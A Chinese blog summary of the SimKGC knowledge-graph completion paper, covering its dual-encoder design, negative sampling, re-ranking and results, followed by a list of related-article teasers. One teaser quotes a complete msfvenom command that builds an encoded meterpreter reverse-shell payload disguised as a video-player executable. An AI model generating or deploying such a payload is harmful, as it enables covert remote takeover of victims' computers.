论文浅尝 | SimKGC:基于预训练语言模型的简单对比知识图谱补全

2589935c44dbcd642c37971e517d4754.png

笔记整理:李雅新,天津大学硕士,研究方向为知识图谱补全

链接:https://dl.acm.org/doi/10.1145/3539597.3570483

动机

知识图谱补全 (KGC) 旨在对已知事实进行推理并推断缺失的链接。基于文本的方法从自然语言描述中学习实体表示,并且具有归纳KGC的潜力。然而,基于文本的方法的性能在很大程度上落后于基于图嵌入的方法,如TransE和RotatE。本文认为基于文本的方法的关键问题是进行有效的对比学习。为了提高学习效率,本文引入了三种类型的负采样: 批批内负采样、批前负采样和作为困难负样本的简单形式的自我负采样。结合InfoNCE损失,本文提出的模型SimKGC在多个基准数据集上的性能大大优于基于嵌入的方法。实验结果显示,在平均倒数秩(MRR)方面,本文的模型在WN18RR上比之前的SOTA模型提高了19%。

亮点

SimKGC的亮点主要包括:

(1)受对比学习的启发,引入三种类型的负采样来提升基于文本的KGC方法:批内负采样、批前负采样和自我负采样;

(2) 如果两个实体在知识图谱中通过一条短路径连接,两个实体更有可能相互关联。但是基于文本的KGC方法严重依赖语义匹配,而在一定程度上忽略了这种拓扑偏差,因此本文提出一种简单的重排策略,来缓解此类现象。

概念及模型

  • 问题定义

知识图谱G是有向图,其中E表示实体,每个边可以表示为三元组 (h,r,t),其中h,r和t分别对应头实体,关系和尾实体。KGC的链接预测任务是在给定不完整G的情况下推断丢失的三元组。在广泛采用的实体排名评估协议下,尾实体预测 (h,r,?) 要求对给定h和r的所有实体进行排名,头实体预测 (?,r,t)与之类似。在本文中,对于每个三元组 (h,r,t),我们添加一个逆三元组 (t,r − 1,h),其中r − 1是r的逆关系。基于这样的重构,本文只需要处理尾部实体预测问题。

  • 模型架构

SimKGC采用双编码器结构,使用相同的预训练模型初始化两个编码器但不共享参数。

给定一个三元组(h,r,t),第一个编码器BERT_hr用于计算头实体h的关系感知嵌入,本文不是直接使用第一个token的隐藏状态,而是使用均值池化和L2归一化来获得关系感知的嵌入ehr。类似地,第二编码器BERTt用于计算尾部实体t的嵌入et,BERTt的输入仅由实体t的文本描述组成。然后计算余弦相似度cos(ehr,et)

8e353b18c63514bce278d578f21b1ead.png

对于尾部实体预测 (h,r,?),计算ehr与E中所有实体之间的余弦相似性,并预测得分最大的实体:

932d3d6850e0d6f4887cd2f717809441.png

  • 负样本

本文提出了三种负采样方法来提高训练效率。

批内负采样(IB):这是在视觉表征学习和密集文本检索等方面被广泛采用的策略。 同一批中的实体可以用作负样本。这种批内负样本允许双编码器模型有效重用实体嵌入。

批前负采样(PB):批内负采样的缺点是负采样的数量与批次大小相关。批前负采样使用来自先前批次的实体嵌入。由于这些嵌入是用前几轮训练的模型参数计算的,所以它们与批内负采样不一致。通常只使用1或2个前批次。

自负采样(SN):除了增加负样本的数量外,挖掘困难负样本对于改进对比表示学习也很重要。对于尾部实体预测 (h,r,?),基于文本的方法倾向于为头部实体h分配高分,这可能是因为文本重叠程度较高。为了缓解这个问题,本文提出了使用头部实体h困难负采样的自负样本。引入自我负样本可以减少模型对虚假文本匹配的依赖。

在训练过程中,将假阴性的样本去除,负样本集合可表示为:

ba92f197ace99a3488eb6feebb69eb0a.png

  • 基于图的重排策略

知识图谱通常具有空间局限性,与距离较远的实体相比,附近的实体更有可能相关。基于文本的方法擅于捕获语义相关性但无法捕获这种偏差,本文提出一种简单的重排策略:如果ti位于头部实体h的k-hop邻居Ek(h) 中,则根据训练集中的图将候选尾部实体ti的得分提高 α ≥ 0:

089daf5212cbd3375cdd338a50ba206a.png

  • 损失

在训练过程中,使用具有附加余量的InfoNCE损失

d3f3ed28d929b2621a4f63a2610102c3.png

实验

本文使用的四个数据集如下所示:

5f677f033251c213d1857e0df4cb3b96.png

实验结果如下所示,本文提出的模型SimKGCIB + PB + SN在WN18RR、Wikidata5M-Trans和Wikidata5M-Ind数据集上的性能大大优于现有方法,但在FB15k-237数据集上略有落后 (MRR 33.6% vs 35.8%)。实验结果显示,仅使用批内负采样,SimKGC的表现就已经十分优异。

添加自负样本对于具有归纳设置的wikidata5m数据集很有帮助,MRR从60.3% 上升到71.3%。对于归纳KGC,基于文本的模型更依赖文本匹配。自负样本可以阻止模型简单地预测给定的头部实体。

ebc68747d87224444f20beaad9c33a15.png

9cc0f17d8964f262fd4263b4cad49af4.png

总结

本文提出了一种简单的SimKGC方法来改进基于文本的知识图谱补全。本文认为基于文本的知识图谱补全的关键问题是如何进行有效的对比学习。利用对比学习领域的最新进展,SimKGC采用了双编码器体系结构,并结合了三种负采样策略。在WN18RR,FB15k-237和Wikidata5M数据集上的实验表明,SimKGC的性能大大优于SOAT的方法。


OpenKG

OpenKG(中文开放知识图谱)旨在推动以中文为核心的知识图谱数据的开放、互联及众包,并促进知识图谱算法、工具及平台的开源开放。

98a98c14b2ff61203a798292bac8cbd9.png

点击阅读原文,进入 OpenKG 网站。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/33168.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

使用msfvenom获取windows shell

Windows 1. kali 使用 msfvenom 生成程序文件 使用一个编码器msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.133.66 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /var/www/html/西瓜影音1.exe其中,-a 指…

基于Alexnet网络实现猫狗数据集分类(Keras框架)

目录 1、作者介绍2、Alexnet网络2.1 网络介绍2.2 AlexNet网络的主要特点 3、基于Alexnet网络实现猫狗数据集分类3.1 猫狗大战数据集3.2 数据集处理3.3 准备工作3.4 训练过程3.5 对比实验3.5.1 HALCON平台下的Alexnet对比实验3.5.2 HALCON平台下的Resnet-50对比实验3.5.3 HALCON…

解决win10开机卡顿、配置很高但是玩游戏卡顿掉帧等问题

解决win10开机卡顿、配置很高但是玩游戏卡顿掉帧等问题 最近组装了一台高配置的新电脑,装好了各种驱动、软件等。发现系统开机后卡顿一分钟左右(加载应用配置等),但是我的系统启动项明明就没多少,不应该是这样的情况&…

人工智能(AI)在金融行业的应用

人工智能(AI)技术在金融行业的应用日益广泛,为金融机构提供了更高效、更智能的解决方案。以下和大家分享AI在金融行业的一些主要应用,希望对大家有所帮助。北京木奇移动技术有限公司,专业的软件外包开发公司&#xff0…

Android 13(T) - binder阅读(5)- 使用ServiceManager注册服务2

上一篇笔记我们看到了binder_transaction,这个方法很长,这一篇我们将把这个方法拆分开来看binder_transaction做了什么,从而学习binder是如何跨进程通信的。 1 binder_transaction static void binder_transaction(struct binder_proc *proc…

Docker-DockerFile制定镜像

本文已收录于专栏 《中间件合集》 目录 概念说明DockerDockerFile 提供服务指令解析应用实例常用命令总结提升 概念说明 Docker &emspDocker是一种开源的容器化平台,它可以将应用程序及其依赖项打包到一个独立的、可移植的容器中,以实现快速部署和跨…

【0212】tcpdump抓包分析pg_hba.conf以password作为认证证方式下frontend与Backend之间身份验证过程(13 - 2)

文章目录 1. 回顾2. 密码校验通过3. 密码校验失败上一文:【0211】tcpdump抓包分析pg_hba.conf以password作为认证证方式下frontend与Backend之间身份验证过程(13 - 1) 1. 回顾 在上一节内容中,讲解了Backend对于接收到来自frontend的字符串明文密码,和来自于来自pg_auth…

【网络原理】TCP/IP协议五层模型

🥊作者:一只爱打拳的程序猿,Java领域新星创作者,CSDN、阿里云社区优质创作者。 🤼专栏收录于:计算机网络原理 本期讲解协议、OSI七层模型、TCP/IP五层模型、网络设备所在的分层、数据的封装和分佣。 目录 …

STM32速成笔记—RTC

文章目录 一、RTC简介二、STM32的RTC2.1 主要特性2.2 RTC框图介绍 三、访问后备区域步骤四、RTC配置步骤五、RTC程序配置5.1 RTC结构体定义5.2 RTC初始化函数5.3 设置年月日,时分秒5.4 判断闰年函数5.5 获取当前年月日,时分秒5.6 获取星期几5.7 中断服务…

ModaHub魔搭社区:安装、启动 Milvus 服务(GPU版)教程

目录 安装、启动 Milvus 服务 安装前提 操作系统 硬件 软件 确认 Docker 状态 拉取 Milvus 镜像 下载并修改配置文件 启动 Milvus Docker 容器 常见问题 接下来你可以 安装、启动 Milvus 服务 CPU 版 Milvus GPU 版 Milvus 安装前提 操作系统 操作系统 版本 Ce…

Windows下安装ClickHouse图文教程

文章目录 1.安装WSL21.1启用适用于 Linux 的 Windows 子系统1.2启用Windows虚拟机功能1.3将WSL2设置为默认版本1.4下载Linux内核更新包1.5安装Linux子系统1.6设置账户和密码 2.安装Docker2.1下载与安装2.2设置镜像地址 3.安装Clickhouse3.1拉取镜像3.2启动clickhouse-server3.3…

git常用命令之命令集

15. 命令集 场景1. 构造1个文件的10个commit 命令作用for i in {1..10}; do date >> 66.txt && git add . && git commit -sm "update"; done自证 场景2. 构造10个文件 命令作用for i in {1..10}; do date >> "file_$i.log&quo…

vue3+vite安装配置element-plus

配置 element-plus 1. 安装 yarn add element-plus element-plus/icons-vue2. 按需引入插件 yarn add unplugin-vue-components unplugin-auto-import -D3. 配置vite.config.ts // vite.config.ts import AutoImport from unplugin-auto-import/vite import Components fro…

logback日志的分片压缩

logback-spring.xml <?xml version"1.0" encoding"UTF-8"?> <configuration debug"true"><springProperty name"LOG_PATH" source"shands.log.logPath" defaultValue"/var/delonix/logs/local"…

Python 基本数据类型(一)

文章目录 每日一句正能量Python3 基本数据类型多个变量赋值标准数据类型结语 每日一句正能量 最宝贵的生命&#xff0c;是我的灵魂所在&#xff0c;也是我&#xff0c;赖以生存的&#xff0c;最基本的保障。有了生命&#xff0c;也就有了&#xff0c;我的光明&#xff0c;我的神…

数据分析案例-航空公司满意度数据可视化

&#x1f935;‍♂️ 个人主页&#xff1a;艾派森的个人主页 ✍&#x1f3fb;作者简介&#xff1a;Python学习者 &#x1f40b; 希望大家多多支持&#xff0c;我们一起进步&#xff01;&#x1f604; 如果文章对你有帮助的话&#xff0c; 欢迎评论 &#x1f4ac;点赞&#x1f4…

python---------xpath提取数据------打破局限

作者前言 欢迎小可爱们前来借鉴我的gtiee秦老大大 (qin-laoda) - Gitee.com 目录 为什么要学习XPATH和LXML类库 什么是XPATH 认识XML XML的节点关系 常⽤节点选择⼯具 节点选择语法 节点修饰语法 选择未知节点 lxml库 _____________________________________________…

MySQL 高级(进阶) SQL 语句

目录 创建两个表格 location 表格​编辑 store_info 表格​编辑 ---- SELECT ---- ---- DISTINCT ---- ---- WHERE ---- ---- AND OR ---- ---- IN ---- ---- BETWEEN ---- ---- 通配符 ---- ---- LIKE ---- ---- ORDER BY ---- ---- 函数 ---- ---- GROUP BY ---- ----…

最新ai创作系统CHATGPT镜像系统源码+支持GPT4.0+支持ai绘画(MJ)+实时语音识别输入+免费更新版本

AI系统CHATGPT镜像程序源码支持GPT4支持ai绘画实时语音识别输入免费更新版本 一、AI创作系统二、系统介绍三、系统程序下载四、安装教程五、主要功能展示六、更新日志 一、AI创作系统 1、提问&#xff1a;程序已经支持GPT3.5、GPT4.0接口、支持新建会话&#xff0c;上下文记忆…

Windows11安装oneAPI和Visual Studio 2022配置Fortran并行环境

Windows11安装oneAPI和Visual Studio 2022配置Fortran并行环境 安装Visual Studio 2022 Community安装oneAPI建立Fortran工程项目测试建立单核运行的Fortran运行算例建立并行运行的Fortran运行算例 结语 安装Visual Studio 2022 Community 访问微软Visual Studio官网&#xff…